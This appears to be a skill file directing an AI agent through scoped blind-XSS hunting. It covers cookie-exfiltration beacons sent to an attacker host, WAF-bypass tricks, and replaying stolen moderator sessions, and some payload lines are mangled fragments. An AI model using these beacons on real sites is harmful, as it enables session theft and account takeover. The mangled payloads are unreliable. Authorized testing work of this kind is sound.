Hunt: XSS - Blind (expert microskill)
Blind XSS: payload planted in a field a PRIVILEGED viewer renders later (admin panel, moderation queue, ticket viewer, log page), beacon fires out-of-band, session exfiltrates. Expert half of the xss split (v2); the mapper (hunt-xss) owns reflection mapping and classification.
Blind vs stored: stored = the field+render sink class (hunt-xss- stored); blind = OOB delivery through privileged viewers. A stored field in a moderator panel dispatches BOTH - stored owns the sink, this skill owns beacon+callback ops.
Wiki
Hub: [[web-moc]] - Primary page: [[wiki/techniques/web/xss]] - Payload
arsenal: wiki/payloads/xss.md
Anchors: [[wiki/techniques/web/xss]], [[dangling-markup]]
REFS: [[wiki/techniques/web/xss]], wiki/payloads/xss.md
Paths (binding - define once at the top of the run notes)
# seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/xss/<host> # SHARED with the mapper run
# VM side (WHERE tools run, same tree through the VMware share):
ENG_DIR=/mnt/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/xss/<host>
Experts write probes/xss-blind*.jsonl|md into the mapper's $RUN tree (js-pair shared-run precedent). Browser-leg artifacts are client data: targets//poc/ only.
Transport
Every VM-native command block ships through ONE documented transport:
wsl.exe -d kali-linux -u root bash -c "cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'"
- vm-ssh lands as user tz (NOT root): no root-only paths, no sudo.
- vm-ssh.sh takes the command as ONE argument; quotes ship as base64
(
echo <b64> | base64 -d | bashinside the vm-ssh argument). - Non-login shells do NOT source profile.d: target-facing fetches MUST use /opt/scope-shim/bin/{curl,httpx} by absolute path.
- Shim verdict semantics (verified live): out-of-scope dies rc 126 (never work around); in-scope passes; UNKNOWN gets an ADVISORY - not approval; verify against scope.md and self-deny.
- The browser/replay leg runs seat-side; artifacts under targets//poc/, never on the VM.
Entry gate
All four must pass; each is falsifiable:
Active engagement exists (repo tree targets//active.md) and is on targets//scope.md in-scope. Scope-guard is the deny.
hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
Mapper verified: $RUN/raw/reflection-map.md exists AND $ENG_DIR/hunt-xss-.md carries XSS-HUNT-DONE naming blind (or stored->blind) in next=. Missing = dispatch hunt-xss first; never plant blind.
Toolchain preflight (fails LOUD):
# install-on-demand (operator rule): try interactsh before the fatal loop [ -x /home/tz/go/bin/interactsh-client ] || { \ command -v go >/dev/null \ && HOME=/home/tz go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@v1.2.0 2>/dev/null; } for t in /usr/bin/jq /usr/bin/python3 \ /opt/scope-shim/bin/curl \ /home/tz/go/bin/interactsh-client; do [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; } done
Checklist (mandatory)
Copy checklist.md (this skill's dir) to
$ENG_DIR/hunt/xss/<host>/xss-blind-checklist.md at run start.
Unchecked at stop = UNCHECKED lane, re-run from the first unchecked
step. SKILL.md and the checklist header agree byte-for-byte on the
copy target.
Nudge
Review-skill re-injection text (pinned; NOTE: completion-gate emits its own generic nudge - both mean: resume at the first unchecked box):
Your work was just reviewed by the review skill and it was found
that you either missed a step of analysis, or didn't generate an
artifact of sufficient proof. Look at the markdown based checklist
and the output for each step, find what you missed, and complete
that step.
Confirmation gate
NOT confirmation: payload submitted; field accepted the markup; a 200 on the form; "no callback yet".
IS confirmation: the oob.md row flipped to HIT - an HTTP/DNS request to your unique Collaborator/interactsh subdomain with a browser User-Agent (Mozilla/Chrome) from the privileged viewer - and for session theft, the captured cookie replayed in a clean profile with a capability exercised (hunt-core clean-session rule).
Plant rows in targets//oob.md: | <token> | <sink url+param> | xss | <date> | waiting | | (token | sink | class | planted | status |
source). The recon-capture hook flips waiting -> HIT; SessionStart
surfaces HITs. Do NOT claim a blind XSS without a HIT row.
Methodology
Approval / moderation workflow = the classic blind delivery.
Recognize it. Submission "awaits review/approval" AND any field you
control renders in a privileged panel (pending-registrations queue,
report/ticket viewer, comment-moderation list, order-approval screen)
-> there is almost always a headless reviewer bot opening that panel.
Plant a cookie/session beacon in the field -> reviewer session
exfiltrates -> replay their cookie -> you ARE the moderator/admin.
The tell: if the panel shows a prior submission's raw markup (an
unescaped <x> or sqltest'... sitting literally in the table), the
sink is confirmed WITHOUT firing a payload - that raw reflection IS
the stored-XSS proof. Frequently the INTENDED path to the mid-tier
(moderator) role on a box with a heavier unintended route (LFI/RCE).
Step 1 - Privileged-viewer field map
Every field rendered in a privileged context: error logs, User-Agent,
Referer, username, contact/support forms, report/ticket viewers,
pending queues. EXCLUDE fields validated on both ends or never
rendered cleartext (passwords get hashed). Row schema field | viewer context | render evidence.
Step 2 - Beacon crafting
Script PATH names the field so ONE submission reveals which fired.
Prefer the simplest vector that passes the WAF AND runs in the bot: a
plain <body Image().src=..."> beats a javascript:
iframe (headless Chrome blocks javascript:-iframe navigation) or
srcdoc gymnastics. ONE payload + a paired plain-img control IN THE
SAME message (same render) so a callback disambiguates
render-vs-execution.
<svg
<!-- filter-bypass: word cookie blocked / <script>,<img> filtered.
Concatenate ONLY the property name; exfil via new Image(). -->
<iframe Image().src='//<lhost>:<port>/?x='+document['coo'+'kie']">
<!-- separators when on\w+= regex-filtered: <svg%0conload=...>
(form feed), <svg/onload=...> -->
Step 3 - oob.md ledger
One row per planted beacon; tokens mirrored to $RUN/raw/oob-tokens.md.
Step 4 - WAF token isolation
If a public writeup / known payload exists, fire its EXACT form first.
Blocked -> submit each suspect token IN ISOLATION to learn exactly
what the WAF rejects (often just the literal word cookie, or
onerror/). Obfuscate ONLY the blocked token:
document['coo'+'kie'] (split cookie, keep document) beats splitting
document too. Over-obfuscation (srcdoc+atob+.concat+template-literals)
usually breaks EXECUTION, not the WAF.
Step 5 - Bot contract
Read it before iterating: the detector often scores ONE signal (a cookie marker) while localStorage poison runs unscored; the bot may render only the victim's FIRST item (give the victim account exactly one item); a shared single-instance bot can WEDGE (instant generic failures, no navigation) - its negative is not a verdict; stop burning probes and re-test solo after it recovers.
Step 6 - Queue discipline
Do NOT flood the moderation queue. The reviewer panel renders a LIMITED window; buried test messages never surface, making "no callback" ambiguous (broken payload vs not-rendered). One payload + control per message; iterate in a clean queue.
Step 7 - HIT handling
Callback lands: capture the payload (cookie/token), replay in a clean browser profile, exercise a capability per the confirmation gate. Evidence under targets//poc/.
Step 8 - Exit
Append blind rows to $RUN/candidates.jsonl ({class: xss-blind, host,
endpoint, method, evidence, confidence, next}); update the blind
section of candidates.md; append XSS-BLIND-DONE targets=<n> planted=<n> hits=<n> to $ENG_DIR/hunt-xss-.md; _requests.md
rows (lane = hunt-xss-blind); Deadends rows with the WHY.
Validation
- Proof = HIT row + browser-UA callback; session theft = replayed cookie exercising a privileged capability in a clean profile.
- Negative control = the paired plain-img control firing (render proven) while the beacon does not (execution blocked), or neither firing (not rendered).
False Positives
- Callback from a security sandbox/AV fetcher pre-scanning the URL (correlate source IP + UA with the app's egress).
- Self-callback from your own browser visiting the panel (you are not the privileged viewer; check the UA/session).
- Beacon accepted but the panel renders only a truncated window - control fired, beacon buried (queue discipline, not a negative).
Cross-routing
- hunt-xss-stored owns the sink when the same field needs second-order render analysis.
- hunt-llm when the rendered field is model output.
- hunt-cache/hunt-smuggling when delivery needs a poisoned/desynced response.
Severity
- high/critical - privileged session captured + capability exercised (moderator/admin).
- medium - beacon fires in a low-priv viewer (own-tenant only).
N/A escapes
- "N/A: no admin/moderation panel" An N/A tick is a claim with a reason, never a silent pass. Identical string in SKILL.md and checklist.md.
Bitter-pill variant
Freehand run: skip checklist + numbered steps, one freehand beacon pass, output ONLY $RUN/analysis/bitter-pill.md (tried/found/dismissed, every claim carries evidence). OOB-mandatory survives freehand. Declare with a _requests.md row (lane = hunt-xss-blind-bitterpill).
Depth walk (mandatory)
Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in $RUN/coverage-depth.md as a table
| row | state | evidence | where state is probed, blocked, or
N/A, and evidence is a probe-pair path or a Deadends.md line. A bare
probed with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).
Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one mcp__wigolo__search for the
specific tech-plus-control bypass. Results, or a genuine null, land in
coverage-depth.md. "No research tried" is not a claimable state.
Exit artifact + handoff
Appends into the shared mapper $RUN: probes/xss-blind-*.{jsonl,md},
raw/blind-targets.md, raw/oob-tokens.md, candidates.jsonl/md (blind
rows), pointer line XSS-BLIND-DONE. Consumer: triage. Findings leave
ONLY through G1. Distill: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/xss.md.
Stop conditions
All targets terminal (HIT | no-callback-with-control | deadend row); nothing written into skill dirs; no unchecked boxes above REVIEW; hunt-core stop conditions fire unchanged.
Attack surface
APPROACH: Map every reflection point, classify reflected/stored/DOM, probe the sanitizer (aaa"bbb'ccc<ddd), then fire the context-matched payload; plant a blind beacon in admin/moderation-viewed fields and confirm the session-theft callback.
AVOID: A payload that comes back URL/HTML-encoded (<script>) is NOT XSS; a blind/stored beacon is unproven until its oob.md row flips to HIT.